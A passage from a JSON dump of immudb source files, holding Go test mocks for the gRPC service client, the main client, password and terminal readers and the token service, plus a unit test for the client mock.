context.Context, in *schema.TxRequest, opts ...grpc.CallOption) (*schema.Tx, error)\n\tVerifiableTxByIdF       func(ctx context.Context, in *schema.VerifiableTxRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error)\n\tHistoryF                func(ctx context.Context, in *schema.HistoryRequest, opts ...grpc.CallOption) (*schema.Entries, error)\n\tHealthF                 func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error)\n\tCurrentStateF           func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ImmutableState, error)\n\tSetReferenceF           func(ctx context.Context, in *schema.ReferenceRequest, opts ...grpc.CallOption) (*schema.TxHeader, error)\n\tVerifiableSetReferenceF func(ctx context.Context, in *schema.VerifiableReferenceRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error)\n\tZAddF                   func(ctx context.Context, in *schema.ZAddRequest, opts ...grpc.CallOption) (*schema.TxHeader, error)\n\tVerifiableZAddF         func(ctx context.Context, in *schema.VerifiableZAddRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error)\n\tZScanF                  func(ctx context.Context, in *schema.ZScanRequest, opts ...grpc.CallOption) (*schema.ZEntries, error)\n\tCreateDatabaseF         func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*empty.Empty, error)\n\tCreateDatabaseWithF     func(ctx context.Context, in *schema.DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error)\n\tUseDatabaseF            func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error)\n\tUpdateDatabaseF         func(ctx context.Context, in *schema.DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error)\n\tChangePermissionF       func(ctx context.Context, in *schema.ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error)\n\tSetActiveUserF          func(ctx context.Context, in *schema.SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error)\n\tDatabaseListF           func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error)\n\tOpenSessionF            func(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error)\n}\n\nfunc (icm *ImmuServiceClientMock) ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.UserList, error) {\n\treturn icm.ListUsersF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) GetUser(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) error {\n\treturn icm.GetUserF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) CreateUser(ctx context.Context, in *schema.CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.CreateUserF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) ChangePassword(ctx context.Context, in *schema.ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.ChangePasswordF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) DeactivateUser(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.DeactivateUserF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) UpdateAuthConfig(ctx context.Context, in *schema.AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.UpdateAuthConfigF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) UpdateMTLSConfig(ctx context.Context, in *schema.MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.UpdateMTLSConfigF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) Login(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) {\n\treturn icm.LoginF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.LogoutF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) Set(ctx context.Context, in *schema.SetRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) {\n\treturn icm.SetF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) VerifiableSet(ctx context.Context, in *schema.VerifiableSetRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) {\n\treturn icm.VerifiableSetF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) Get(ctx context.Context, in *schema.KeyRequest, opts ...grpc.CallOption) (*schema.Entry, error) {\n\treturn icm.GetF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) {\n\treturn icm.VerifiableGetF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) GetAll(ctx context.Context, in *schema.KeyListRequest, opts ...grpc.CallOption) (*schema.Entries, error) {\n\treturn icm.GetAllF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) ExecAll(ctx context.Context, in *schema.ExecAllRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) {\n\treturn icm.ExecAllF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) Scan(ctx context.Context, in *schema.ScanRequest, opts ...grpc.CallOption) (*schema.Entries, error) {\n\treturn icm.ScanF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) Count(ctx context.Context, in *schema.KeyPrefix, opts ...grpc.CallOption) (*schema.EntryCount, error) {\n\treturn icm.CountF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.EntryCount, error) {\n\treturn icm.CountAllF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) TxById(ctx context.Context, in *schema.TxRequest, opts ...grpc.CallOption) (*schema.Tx, error) {\n\treturn icm.TxByIdF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) VerifiableTxById(ctx context.Context, in *schema.VerifiableTxRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) {\n\treturn icm.VerifiableTxByIdF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) History(ctx context.Context, in *schema.HistoryRequest, opts ...grpc.CallOption) (*schema.Entries, error) {\n\treturn icm.HistoryF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) {\n\treturn icm.HealthF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) CurrentState(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ImmutableState, error) {\n\treturn icm.CurrentStateF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) SetReference(ctx context.Context, in *schema.ReferenceRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) {\n\treturn icm.SetReferenceF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) VerifiableSetReference(ctx context.Context, in *schema.VerifiableReferenceRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) {\n\treturn icm.VerifiableSetReferenceF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) ZAdd(ctx context.Context, in *schema.ZAddRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) {\n\treturn icm.ZAddF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) VerifiableZAdd(ctx context.Context, in *schema.VerifiableZAddRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) {\n\treturn icm.VerifiableZAddF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) ZScan(ctx context.Context, in *schema.ZScanRequest, opts ...grpc.CallOption) (*schema.ZEntries, error) {\n\treturn icm.ZScanF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) CreateDatabase(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.CreateDatabaseF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) CreateDatabaseWith(ctx context.Context, in *schema.DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.CreateDatabaseWithF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) UseDatabase(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) {\n\treturn icm.UseDatabaseF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) UpdateDatabase(ctx context.Context, in *schema.DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.UpdateDatabaseF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) ChangePermission(ctx context.Context, in *schema.ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.ChangePermissionF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) SetActiveUser(ctx context.Context, in *schema.SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.SetActiveUserF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) {\n\treturn icm.DatabaseListF(ctx, in, opts...)\n}\n\nfunc (icm *ImmuServiceClientMock) OpenSession(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) {\n\treturn icm.OpenSessionF(ctx, in, opts...)\n}\n"
  },
  {
    "path": "pkg/client/clienttest/immuclient_mock.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package clienttest ...\npackage clienttest\n\nimport (\n\t\"context\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\timmuclient \"github.com/codenotary/immudb/pkg/client\"\n\t\"google.golang.org/grpc\"\n)\n\nvar (\n\t_ client.ImmuClient = (*ImmuClientMock)(nil)\n)\n\n// ImmuClientMock ...\ntype ImmuClientMock struct {\n\timmuclient.ImmuClient\n\n\tGetOptionsF           func() *client.Options\n\tIsConnectedF          func() bool\n\tHealthCheckF          func(context.Context) error\n\tWaitForHealthCheckF   func(context.Context) error\n\tConnectF              func(context.Context) (*grpc.ClientConn, error)\n\tDisconnectF           func() error\n\tLoginF                func(context.Context, []byte, []byte) (*schema.LoginResponse, error)\n\tLogoutF               func(context.Context) error\n\tVerifiedGetF          func(context.Context, []byte, ...client.GetOption) (*schema.Entry, error)\n\tVerifiedGetAtF        func(context.Context, []byte, uint64) (*schema.Entry, error)\n\tVerifiedSetF          func(context.Context, []byte, []byte) (*schema.TxHeader, error)\n\tVerifiableGetF        func(context.Context, *schema.VerifiableGetRequest, ...grpc.CallOption) (*schema.VerifiableEntry, error)\n\tSetF                  func(context.Context, []byte, []byte) (*schema.TxHeader, error)\n\tSetAllF               func(context.Context, *schema.SetRequest) (*schema.TxHeader, error)\n\tSetReferenceF         func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error)\n\tVerifiedSetReferenceF func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error)\n\tZAddF                 func(context.Context, []byte, float64, []byte, uint64) (*schema.TxHeader, error)\n\tVerifiedZAddF         func(context.Context, []byte, float64, []byte, uint64) (*schema.TxHeader, error)\n\tHistoryF              func(context.Context, *schema.HistoryRequest) (*schema.Entries, error)\n\tUseDatabaseF          func(context.Context, *schema.Database) (*schema.UseDatabaseReply, error)\n\tDumpF                 func(context.Context, io.WriteSeeker) (int64, error)\n\tCurrentStateF         func(context.Context) (*schema.ImmutableState, error)\n\tTxByIDF               func(context.Context, uint64) (*schema.Tx, error)\n\tGetF                  func(context.Context, []byte, ...client.GetOption) (*schema.Entry, error)\n\tVerifiedTxByIDF       func(context.Context, uint64) (*schema.Tx, error)\n\tListUsersF            func(context.Context) (*schema.UserList, error)\n\tSetActiveUserF        func(context.Context, *schema.SetActiveUserRequest) error\n\tChangePermissionF     func(context.Context, schema.PermissionAction, string, string, uint32) error\n\tZScanF                func(context.Context, *schema.ZScanRequest) (*schema.ZEntries, error)\n\tScanF                 func(context.Context, *schema.ScanRequest) (*schema.Entries, error)\n\tCountF                func(context.Context, []byte) (*schema.EntryCount, error)\n\tCreateDatabaseF       func(context.Context, *schema.DatabaseSettings) error\n\tCreateDatabaseV2F     func(context.Context, string, *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error)\n\tUpdateDatabaseF       func(context.Context, *schema.DatabaseSettings) error\n\tUpdateDatabaseV2F     func(context.Context, string, *schema.DatabaseNullableSettings) (*schema.UpdateDatabaseResponse, error)\n\tDatabaseListF         func(context.Context) (*schema.DatabaseListResponse, error)\n\tChangePasswordF       func(context.Context, []byte, []byte, []byte) error\n\tCreateUserF           func(context.Context, []byte, []byte, uint32, string) error\n}\n\n// GetOptions ...\nfunc (icm *ImmuClientMock) GetOptions() *client.Options {\n\treturn icm.GetOptionsF()\n}\n\n// IsConnected ...\nfunc (icm *ImmuClientMock) IsConnected() bool {\n\treturn icm.IsConnectedF()\n}\n\n// HealthCheck ...\nfunc (icm *ImmuClientMock) HealthCheck(ctx context.Context) error {\n\treturn icm.HealthCheckF(ctx)\n}\n\n// WaitForHealthCheck ...\nfunc (icm *ImmuClientMock) WaitForHealthCheck(ctx context.Context) (err error) {\n\treturn icm.WaitForHealthCheckF(ctx)\n}\n\n// Connect ...\nfunc (icm *ImmuClientMock) Connect(ctx context.Context) (clientConn *grpc.ClientConn, err error) {\n\treturn icm.ConnectF(ctx)\n}\n\n// Disconnect ...\nfunc (icm *ImmuClientMock) Disconnect() error {\n\treturn icm.DisconnectF()\n}\n\n// Login ...\nfunc (icm *ImmuClientMock) Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) {\n\treturn icm.LoginF(ctx, user, pass)\n}\n\n// Logout ...\nfunc (icm *ImmuClientMock) Logout(ctx context.Context) error {\n\treturn icm.LogoutF(ctx)\n}\n\n// VerifiedGet ...\nfunc (icm *ImmuClientMock) VerifiedGet(ctx context.Context, key []byte, opts ...client.GetOption) (*schema.Entry, error) {\n\treturn icm.VerifiedGetF(ctx, key, opts...)\n}\n\n// VerifiedGetAt ...\nfunc (icm *ImmuClientMock) VerifiedGetAt(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) {\n\treturn icm.VerifiedGetAtF(ctx, key, tx)\n}\n\n// VerifiedSet ...\nfunc (icm *ImmuClientMock) VerifiedSet(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) {\n\treturn icm.VerifiedSetF(ctx, key, value)\n}\n\n// VerifiedSet ...\nfunc (icm *ImmuClientMock) VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) {\n\treturn icm.VerifiableGetF(ctx, in, opts...)\n}\n\n// Set ...\nfunc (icm *ImmuClientMock) Set(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) {\n\treturn icm.SetF(ctx, key, value)\n}\n\nfunc (icm *ImmuClientMock) SetAll(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) {\n\treturn icm.SetAllF(ctx, req)\n}\n\n// SetReference ...\nfunc (icm *ImmuClientMock) SetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) {\n\treturn icm.SetReferenceF(ctx, key, referencedKey, 0)\n}\n\n// VerifiedSetReference ...\nfunc (icm *ImmuClientMock) VerifiedSetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) {\n\treturn icm.VerifiedSetReferenceF(ctx, key, referencedKey, 0)\n}\n\n// SetReferenceAt ...\nfunc (icm *ImmuClientMock) SetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) {\n\treturn icm.SetReferenceF(ctx, key, referencedKey, atTx)\n}\n\n// VerifiedSetReferenceAt ...\nfunc (icm *ImmuClientMock) VerifiedSetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) {\n\treturn icm.VerifiedSetReferenceF(ctx, key, referencedKey, atTx)\n}\n\n// ZAdd ...\nfunc (icm *ImmuClientMock) ZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) {\n\treturn icm.ZAddF(ctx, set, score, key, 0)\n}\n\n// SafeZAdd ...\nfunc (icm *ImmuClientMock) VerifiedZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) {\n\treturn icm.VerifiedZAddF(ctx, set, score, key, 0)\n}\n\n// ZAddAt ...\nfunc (icm *ImmuClientMock) ZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) {\n\treturn icm.ZAddF(ctx, set, score, key, atTx)\n}\n\n// VerifiedZAddAt ...\nfunc (icm *ImmuClientMock) VerifiedZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) {\n\treturn icm.VerifiedZAddF(ctx, set, score, key, atTx)\n}\n\n// History ...\nfunc (icm *ImmuClientMock) History(ctx context.Context, options *schema.HistoryRequest) (*schema.Entries, error) {\n\treturn icm.HistoryF(ctx, options)\n}\n\n// UseDatabase ...\nfunc (icm *ImmuClientMock) UseDatabase(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) {\n\treturn icm.UseDatabaseF(ctx, d)\n}\n\n// UpdateDatabase ...\nfunc (icm *ImmuClientMock) UpdateDatabase(ctx context.Context, s *schema.DatabaseSettings) error {\n\treturn icm.UpdateDatabaseF(ctx, s)\n}\n\n// UpdateDatabaseV2 ...\nfunc (icm *ImmuClientMock) UpdateDatabaseV2(ctx context.Context, db string, setttings *schema.DatabaseNullableSettings) (*schema.UpdateDatabaseResponse, error) {\n\treturn icm.UpdateDatabaseV2F(ctx, db, setttings)\n}\n\n// Dump ...\nfunc (icm *ImmuClientMock) Dump(ctx context.Context, writer io.WriteSeeker) (int64, error) {\n\treturn icm.DumpF(ctx, writer)\n}\n\n// CurrentState ...\nfunc (icm *ImmuClientMock) CurrentState(ctx context.Context) (*schema.ImmutableState, error) {\n\treturn icm.CurrentStateF(ctx)\n}\n\n// Get ...\nfunc (icm *ImmuClientMock) Get(ctx context.Context, key []byte, opts ...client.GetOption) (*schema.Entry, error) {\n\treturn icm.GetF(ctx, key, opts...)\n}\n\n// TxByID ...\nfunc (icm *ImmuClientMock) TxByID(ctx context.Context, ID uint64) (*schema.Tx, error) {\n\treturn icm.TxByIDF(ctx, ID)\n}\n\n// VerifiedTxByID ...\nfunc (icm *ImmuClientMock) VerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, error) {\n\treturn icm.VerifiedTxByIDF(ctx, tx)\n}\n\n// ListUsers ...\nfunc (icm *ImmuClientMock) ListUsers(ctx context.Context) (*schema.UserList, error) {\n\treturn icm.ListUsersF(ctx)\n}\n\n// SetActiveUser ...\nfunc (icm *ImmuClientMock) SetActiveUser(ctx context.Context, u *schema.SetActiveUserRequest) error {\n\treturn icm.SetActiveUserF(ctx, u)\n}\n\n// ChangePermission ...\nfunc (icm *ImmuClientMock) ChangePermission(ctx context.Context, action schema.PermissionAction, username string, database string, permissions uint32) error {\n\treturn icm.ChangePermissionF(ctx, action, username, database, permissions)\n}\n\n// ZScan ...\nfunc (icm *ImmuClientMock) ZScan(ctx context.Context, request *schema.ZScanRequest) (*schema.ZEntries, error) {\n\treturn icm.ZScanF(ctx, request)\n}\n\n// Scan ...\nfunc (icm *ImmuClientMock) Scan(ctx context.Context, request *schema.ScanRequest) (*schema.Entries, error) {\n\treturn icm.ScanF(ctx, request)\n}\n\n// Count ...\nfunc (icm *ImmuClientMock) Count(ctx context.Context, prefix []byte) (*schema.EntryCount, error) {\n\treturn icm.CountF(ctx, prefix)\n}\n\n// CreateDatabase ...\nfunc (icm *ImmuClientMock) CreateDatabase(ctx context.Context, db *schema.DatabaseSettings) error {\n\treturn icm.CreateDatabaseF(ctx, db)\n}\n\n// CreateDatabaseV2 ...\nfunc (icm *ImmuClientMock) CreateDatabaseV2(ctx context.Context, db string, setttings *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error) {\n\treturn icm.CreateDatabaseV2F(ctx, db, setttings)\n}\n\n// DatabaseList ...\nfunc (icm *ImmuClientMock) DatabaseList(ctx context.Context) (*schema.DatabaseListResponse, error) {\n\treturn icm.DatabaseListF(ctx)\n}\n\n// ChangePassword ...\nfunc (icm *ImmuClientMock) ChangePassword(ctx context.Context, user []byte, oldPass []byte, newPass []byte) error {\n\treturn icm.ChangePasswordF(ctx, user, oldPass, newPass)\n}\n\n// CreateUser ...\nfunc (icm *ImmuClientMock) CreateUser(ctx context.Context, user []byte, pass []byte, permission uint32, databasename string) error {\n\treturn icm.CreateUserF(ctx, user, pass, permission, databasename)\n}\n"
  },
  {
    "path": "pkg/client/clienttest/immuclient_mock_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage clienttest\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestImmuClientMock(t *testing.T) {\n\terrWaitForHealthCheck := errors.New(\"WaitForHealthCheckF got called\")\n\terrConnect := errors.New(\"ConnectF got called\")\n\terrDisconnect := errors.New(\"DisconnectF got called\")\n\terrLogin := errors.New(\"LoginF got called\")\n\terrLogout := errors.New(\"LogoutF got called\")\n\terrVerifiedGet := errors.New(\"VerifiedGetF got called\")\n\terrVerifiedSet := errors.New(\"VerifiedSetF got called\")\n\terrVerifiableGet := errors.New(\"VerifiableGetF got called\")\n\terrSet := errors.New(\"SetF got called\")\n\terrVerifiedReference := errors.New(\"VerifiedReferenceF got called\")\n\terrVerifiedZAdd := errors.New(\"VerifiedZAddF got called\")\n\terrHistory := errors.New(\"HistoryF got called\")\n\terrCreateDatabase := errors.New(\"CreateDatabaseV2F got called\")\n\ticm := &ImmuClientMock{\n\t\tImmuClient: client.NewClient(),\n\t\tIsConnectedF: func() bool {\n\t\t\treturn true\n\t\t},\n\t\tWaitForHealthCheckF: func(context.Context) error {\n\t\t\treturn errWaitForHealthCheck\n\t\t},\n\t\tConnectF: func(context.Context) (*grpc.ClientConn, error) {\n\t\t\treturn nil, errConnect\n\t\t},\n\t\tDisconnectF: func() error {\n\t\t\treturn errDisconnect\n\t\t},\n\t\tLoginF: func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\t\treturn nil, errLogin\n\t\t},\n\t\tLogoutF: func(context.Context) error {\n\t\t\treturn errLogout\n\t\t},\n\t\tVerifiedGetF: func(context.Context, []byte, ...client.GetOption) (*schema.Entry, error) {\n\t\t\treturn nil, errVerifiedGet\n\t\t},\n\t\tVerifiedSetF: func(context.Context, []byte, []byte) (*schema.TxHeader, error) {\n\t\t\treturn nil, errVerifiedSet\n\t\t},\n\t\tVerifiableGetF: func(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) {\n\t\t\treturn nil, errVerifiableGet\n\t\t},\n\t\tSetF: func(context.Context, []byte, []byte) (*schema.TxHeader, error) {\n\t\t\treturn nil, errSet\n\t\t},\n\t\tSetAllF: func(context.Context, *schema.SetRequest) (*schema.TxHeader, error) {\n\t\t\treturn nil, errSet\n\t\t},\n\t\tVerifiedSetReferenceF: func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error) {\n\t\t\treturn nil, errVerifiedReference\n\t\t},\n\t\tVerifiedZAddF: func(context.Context, []byte, float64, []byte, uint64) (*schema.TxHeader, error) {\n\t\t\treturn nil, errVerifiedZAdd\n\t\t},\n\t\tHistoryF: func(context.Context, *schema.HistoryRequest) (*schema.Entries, error) {\n\t\t\treturn nil, errHistory\n\t\t},\n\t\tCreateDatabaseV2F: func(context.Context, string, *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error) {\n\t\t\treturn nil, errCreateDatabase\n\t\t},\n\t}\n\trequire.True(t, icm.IsConnected())\n\n\terr := icm.WaitForHealthCheck(context.Background())\n\trequire.ErrorIs(t, err, errWaitForHealthCheck)\n\n\t_, err = icm.Connect(context.Background())\n\trequire.ErrorIs(t, err, errConnect)\n\n\terr = icm.Disconnect()\n\trequire.ErrorIs(t, err, errDisconnect)\n\n\t_, err = icm.Login(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, errLogin)\n\n\trequire.ErrorIs(t, errLogout, icm.Logout(context.Background()))\n\n\t_, err = icm.VerifiedGet(context.Background(), nil)\n\trequire.ErrorIs(t, err, errVerifiedGet)\n\n\t_, err = icm.VerifiedSet(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, errVerifiedSet)\n\n\t_, err = icm.VerifiableGet(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, errVerifiableGet)\n\n\t_, err = icm.Set(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, errSet)\n\n\t_, err = icm.SetAll(context.Background(), nil)\n\trequire.ErrorIs(t, err, errSet)\n\n\t_, err = icm.VerifiedSetReference(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, errVerifiedReference)\n\n\t_, err = icm.VerifiedZAdd(context.Background(), nil, 0., nil)\n\trequire.ErrorIs(t, err, errVerifiedZAdd)\n\n\t_, err = icm.History(context.Background(), nil)\n\trequire.ErrorIs(t, err, errHistory)\n\n\t_, err = icm.CreateDatabaseV2(context.Background(), \"\", nil)\n\trequire.ErrorIs(t, err, errCreateDatabase)\n}\n"
  },
  {
    "path": "pkg/client/clienttest/password_reader_mock.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package clienttest ...\npackage clienttest\n\n// PasswordReaderMock ...\ntype PasswordReaderMock struct {\n\tReadF func(msg string) ([]byte, error)\n}\n\nfunc (pr *PasswordReaderMock) Read(msg string) ([]byte, error) {\n\tif pr.ReadF != nil {\n\t\treturn pr.ReadF(msg)\n\t}\n\treturn []byte(\"password\"), nil\n}\n"
  },
  {
    "path": "pkg/client/clienttest/terminal_reader_mock.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package clienttest ...\npackage clienttest\n\n// TerminalReaderMock ...\ntype TerminalReaderMock struct {\n\tCounter             int\n\tResponses           []string\n\tReadFromTerminalYNF func(string) (string, error)\n}\n\n// ReadFromTerminalYN ...\nfunc (t *TerminalReaderMock) ReadFromTerminalYN(def string) (selected string, err error) {\n\tif t.ReadFromTerminalYNF != nil {\n\t\treturn t.ReadFromTerminalYNF(def)\n\t}\n\n\tif len(t.Responses) < t.Counter {\n\t\tpanic(\"not enough responses\")\n\t}\n\tresp := t.Responses[t.Counter]\n\tt.Counter++\n\treturn resp, nil\n}\n"
  },
  {
    "path": "pkg/client/clienttest/token_service_mock.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage clienttest\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n)\n\nvar (\n\t_ tokenservice.TokenService = (*TokenServiceMock)(nil)\n)\n\ntype TokenServiceMock struct {\n\ttokenservice.TokenService\n\tGetTokenF       func() (string, error)\n\tSetTokenF       func(database string, token string) error\n\tIsTokenPresentF func() (bool, 